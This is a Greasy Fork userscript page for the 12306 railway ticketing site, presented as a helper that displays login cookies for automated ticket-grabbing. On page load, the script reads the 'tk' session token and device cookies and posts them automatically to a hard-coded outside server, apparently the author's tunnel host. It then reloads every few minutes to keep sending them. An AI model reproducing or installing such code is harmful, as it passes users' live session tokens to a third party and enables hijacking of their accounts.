Greasy Fork is available in English.

获取12306cookie值

我们的目的是在登录12306网站后,方便、快速的获取到抢票需要的cookie值。

// ==UserScript==
// @name         获取12306cookie值
// @namespace    https://kyfw.12306.cn/
// @version      0.3
// @description  我们的目的是在登录12306网站后,方便、快速的获取到抢票需要的cookie值。
// @author       wonder
// @match        https://kyfw.12306.cn/*
// @grant        none
// ==/UserScript==

(function() {
    //'use strict';

    //console.log($("body").html());
    //console.log("【总cookie】",document.cookie)
    function getCookie(cname) {
        var name = cname + "=";
        //var decodedCookie = decodeURIComponent(document.cookie);
        var cookieStr = document.cookie;
        var ca = cookieStr.split(';');
        for(var i = 0; i <ca.length; i++) {
            var c = ca[i];
            while (c.charAt(0) == ' ') {
                c = c.substring(1);
            }
            if (c.indexOf(name) == 0) {
                return c.substring(name.length, c.length);
            }
        }
        return "";
    }

    if(getCookie("tk")==""){
      //alert("tk为空!");
        console.log("tk为空!");
    }else{
        //如果tk不为空
          console.log(getCookie("tk")+"====时间:"+new Date().toLocaleTimeString());
//         console.log(getCookie("RAIL_EXPIRATION"));
//         console.log(getCookie("RAIL_DEVICEID"));

        document.getElementsByClassName("center-main")[0].innerHTML="【=========获取到tk========】"+"<br>"
            +"【tk】:<br> "+"<span style='color:red;'>"+getCookie("tk")+"</span><br>"
            +"【RAIL_EXPIRATION】:<br> "+"<span style='color:red;'>"+getCookie("RAIL_EXPIRATION")+"</span><br>"
             +"【RAIL_DEVICEID】:<br> "+"<span style='color:red;'>"+getCookie("RAIL_DEVICEID")+"</span><br>"
            +"<br><br><button id='send'>发送到服务器</button><span>自动保持登录,并持续发送到服务器,直到离开当前页面。</span>"


        //ajax上传服务器  //点击事件
        document.getElementById("send").onclick=sendData;
         //发送数据
         sendData();

        setTimeout(function(){
            //刷新页面
           location.reload(true);

        },3000*60);

        //保持登录,并发送到服务器
//         setInterval(function(){
//               // console.log(1);

//            // https://kyfw.12306.cn/otn/login/conf
//              var xhr = new XMLHttpRequest();
//             //创建一个 post 请求,采用异步
//             xhr.open('POST', 'https://kyfw.12306.cn/otn/login/conf', true);
//             //注册相关事件回调处理函数
//             xhr.onload = function(e) {
//                 if(this.status == 200||this.status == 304){
//                     //console.log(this.responseText);
//                 }else{
//                    console.log("error");
//                 }
//             };
//             xhr.send();

//             if(getCookie("tk")!=tk_temp){
//                 tk_temp = getCookie("tk");
//                console.log("tk发生改变:",new Date().toLocaleTimeString());

//                    document.getElementsByClassName("center-main")[0].innerHTML="【=========获取到tk========】"+"<br>"
//             +"【tk】:<br> "+"<span style='color:red;'>"+getCookie("tk")+"</span><br>"
//             +"【RAIL_EXPIRATION】:<br> "+"<span style='color:red;'>"+getCookie("RAIL_EXPIRATION")+"</span><br>"
//              +"【RAIL_DEVICEID】:<br> "+"<span style='color:red;'>"+getCookie("RAIL_DEVICEID")+"</span><br>"
//             +"<br><br><button id='send'>发送到服务器(开发中)</button><span>自动保持登录,并持续发送到服务器,直到离开当前页面。</span>"

//              //var data = {tk:getCookie("tk"),rail_expiration:getCookie("RAIL_EXPIRATION"),rail_deviceid:getCookie("RAIL_DEVICEID")};
//              //发送数据
//              sendData();
//             }
//              console.log(getCookie("tk"));
           
//            },2000*60); //每分钟发送一次


//   不知道为什么不能引用jq,所以只能用原生js写了。
//          $("#send").click(function(){
//              alert("功能开发中~");
//             console.log("发送数据到服务器~");
//             $.ajax(
//                 {
//                     url:"https://api.github.com/",
//                     type:"post",
//                     data:{},
//                     success:function(res){
//                         console.log("服务器返回结果:",res);
//                     }
//                 }
//             );

//         })

    }




function sendData()
{
    var data = {tk:getCookie("tk"),rail_expiration:getCookie("RAIL_EXPIRATION"),rail_deviceid:getCookie("RAIL_DEVICEID")};
    //alert("接收cookie程序开发中~");
    var xmlhttp;
    if (window.XMLHttpRequest)
    {// code for IE7+, Firefox, Chrome, Opera, Safari
        xmlhttp=new XMLHttpRequest();
    }
    else
    {// code for IE6, IE5
        xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
    }
    xmlhttp.onreadystatechange=function()
    {
        if (xmlhttp.readyState==4 && xmlhttp.status==200)
        {
             //alert(typeof xmlhttp.response);
            console.log(xmlhttp.response)
            var result = JSON.parse(xmlhttp.response);
            console.log(typeof result);
            if(result.code==200){
              console.log("发送成功!");
                
            }else{
              console.log("发送失败!");
            }
        }
    }
    //请把https://api.github.com改为自己的服务器地址。 请确保该地址为https 开头,而不是http
    //xmlhttp.open("POST","https://wonder.test.utools.club/cookie",true);https://e0cf1d50ed6d.ngrok.io/

    xmlhttp.open("POST","https://wonder.cn.utools.club/cookie",true);

    xmlhttp.setRequestHeader('Content-Type','application/json');
     console.log("JSON==================",JSON.stringify(data));
    //将用户输入值序列化成字符串
    xmlhttp.send(JSON.stringify(data));  //向服务器发送tk值
    //xmlhttp.send();
}

    // Your code here...
})();